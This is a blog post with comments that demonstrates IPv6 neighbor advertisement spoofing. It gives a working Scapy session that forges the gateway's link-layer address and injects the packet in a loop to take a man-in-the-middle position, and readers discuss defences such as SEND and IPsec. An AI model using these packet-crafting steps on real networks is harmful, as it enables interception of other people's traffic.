IPv6 neighbor spoofing
IPv4 over Ethernet, by far the most widely deployed LAN technology, has long been plagued by its vulnerability to a simple layer two attack known as ARP spoofing. To oversimplify, ARP spoofing is achieved when a malicious attacker crafts a gratuitous ARP advertisement purporting to be from another host on the LAN, typically the default gateway. By pretending to be the default gateway for a subnet, the attacker can intercept all traffic from the victim host(s) in a man-in-the-middle (MITM) attack.
However, with the (eventual) migration to IPv6, ARP is being phased out, so ARP spoofing should no longer be a problem, right? Wrong. Sort of. While it's true ARP does not exist in the IPv6 protocol stack, IPv6 instead relies on ICMPv6 for many of the same operations carried out via ARP under IPv4. Collectively, these functions make up IPv6's Neighbor Discovery (ND) protocol, described in RFC 4861.
Most similar to typical ARP usage under IPv4 is the ND address resolution function, which is used when a host wants to transmit to an on-link prefix but doesn't yet know the layer two address of the destination host. The sending host multicasts a neighbor solicitation, and the destination host, if reachable, responds with a neighbor advertisement containing its layer two address.

Unfortunately, as in ARP, these exchanges are completely unsecured. There are no countermeasures in place to prevent an attacker from generating a neighbor advertisement advertising his own layer two address as belonging to other hosts on the link.

We can put this theory into practice by fabricating our own custom neighbor advertisements and unicasting them to our intended victim. For this example, we'll use Scapy to craft our malicious advertisement layer by layer:
>>> ls(Ether)
dst : DestMACField = (None)
src : SourceMACField = (None)
type : XShortEnumField = (0)
>>> ether=(Ether(dst='00:00:00:00:00:0b', src='00:00:00:00:00:0c'))
>>> ls(IPv6)
version : BitField = (6)
tc : BitField = (0)
fl : BitField = (0)
plen : ShortField = (None)
nh : ByteEnumField = (59)
hlim : ByteField = (64)
src : SourceIP6Field = (None)
dst : IP6Field = ('::1')
>>> ipv6=IPv6(src='fe80::1', dst='fe80::2')
>>> ls(ICMPv6ND_NA)
type : ByteEnumField = (136)
code : ByteField = (0)
cksum : XShortField = (None)
R : BitField = (1)
S : BitField = (0)
O : BitField = (1)
res : XBitField = (0)
tgt : IP6Field = ('::')
>>> na=ICMPv6ND_NA(tgt='fe80::1', R=0)
>>> ls(ICMPv6NDOptDstLLAddr)
type : ByteField = (2)
len : ByteField = (1)
lladdr : MACField = ('00:00:00:00:00:00')
>>> lla=ICMPv6NDOptDstLLAddr(lladdr='00:00:00:00:00:0c')
Once we've constructed the individual layers of the packet, when we can see how they look after being welded together (notice that Scapy will handle minor aspects automatically, like setting the Ethernet type field to 0x86dd for IPv6).
>>> (ether/ipv6/na/lla).display()
###[ Ethernet ]###
dst= 00:00:00:00:00:0b
src= 00:00:00:00:00:0c
type= 0x86dd
###[ IPv6 ]###
version= 6
tc= 0
fl= 0
plen= None
nh= ICMPv6
hlim= 255
src= fe80::1
dst= fe80::2
###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###
type= Neighbor Advertisement
code= 0
cksum= 0x0
R= 0
S= 0
O= 1
res= 0x0
tgt= fe80::1
###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address ]###
type= 2
len= 1
lladdr= 00:00:00:00:00:0c
We can now inject this packet at regular intervals onto the LAN. The following command within Scapy will retransmit the packet every five seconds:
>>> sendp(ether/ipv6/na/lla, iface='br0', loop=1, inter=5)
At a console on the victim machine (running Linux), we can use the ip utility to monitor IPv6 neighbors on the link. Notice that the MAC address for fe80::1 is initially listed as 00:00:00:00:00:0a, the legitimate gateway, but as soon as we begin injecting our malicious neighbor advertisement, the entry is updated to 00:00:00:00:00:0c, our attacking machine.
Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0a REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c DELAY Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE Victim$ ip neigh show dev eth0 fe80::1 lladdr 00:00:00:00:00:0c REACHABLE
You can see this attack as it appears on the wire in this handy packet capture. The address resolutions which occur in packets #1/2, and #15/16 are legitimate. Our malicious advertisements are injected at five-second intervals in packets #33, #39, and #45.
Comments
oh, good to see you've found scapy. I've known about it for awhile but I suck at using it. hint tutorial hint :)
this is not really a new problem, is it? it is like in IPv4... and who is actually using all those "anti-arp-spoofing" features in current switches?
Let's hope SEND (Secure ND) will be implemented soon by as many vendors as possible. Do you have any news on that? Right now it seems to be a powerpoint standard without implementation...
ARP spoofing is what gives us failover on many devices so it's not all bad!
Dhcp snooping mitigate arp poisoning in IPv4, sure IPv6 will be handled the same ...
Let me think now......
Shouldn't a function that blocked RA (Router Advertisements) and Illigal NA:s on the accessswitches and only allow thoose you get via DHCPv6. Functions like IPsourceguard and DHCP snooping are nonexistant today on Cisco (and their competitiors) equipment. I think that implementing SEND which involves cryptography will be difficult task. An aditional thing that complicates it all is the fact that LinkLocal addresses are not provided via DHCP and therefore can't be snooped on the access switches or AP:s.
....and we were told IPv6 would improve security. ;)
Cheers Anders Nilsson UMDAC Sweden
I Though ipsec which is part of IPv6 can prevent this attack.
See http://tools.ietf.org/html/draft-chown-v6ops-rogue-ra-02: "Rogue IPv6 Router Advertisement Problem Statement"
As mentioned above, SEND and CGA are designed to help.
Nothing new, and not specific to IPv6. The answer is to use IPsec, as usual.
SeND is in 12.4(24)T, so there is still hope ... ;-)
you are pretty good ... are you looking for a job ... ? if so I'm in canada
Hello!
Very Interesting post! Thank you for such interesting resource!
PS: Sorry for my bad english, I'v just started to learn this language ;)
See you!
Your, Raiul Baztepo
Hi thanks for your intresting site and tips !!!

I stumbled across this (by accident) over a year ago. My imediate reaction was to block v6 at all Edge-ports. The next day I thought about it and tried to find a way to provide at least some clients the possibility to use it (in case someone would request it for something he/she really needed), but in the end gave up. I figured that its just a matter of time until more v6-problems would surface... and so it stayed disabled. Honestly I don't plan enabling v6 before 2014 again (the next generation of Edge-hardware - maybe .1xREV will be worth it?).